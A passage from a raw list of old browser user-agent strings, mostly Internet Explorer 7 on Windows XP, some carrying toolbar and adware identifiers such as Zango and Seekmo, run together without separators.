FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.0.314.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbARS/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.8.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.3.79.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.2.191.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.79.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; Hotbar 10.2.236.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; PeoplePal 6.2; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; FunWebProducts; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; FDM; .NET CLR 2.0.50727; AskTbMPC2/5.14.1.20007) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; KKman3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; Zango 10.0.314.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Zango 10.3.36.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; (R1 1.3); .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatc Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; MRA 5.0 (build 02094); .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; MRA 5.2 (build 02405); InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.4; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; WinNT-PAI 28.08.2009; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; MS-RTC LM 8; AskTbARS/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.49 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; 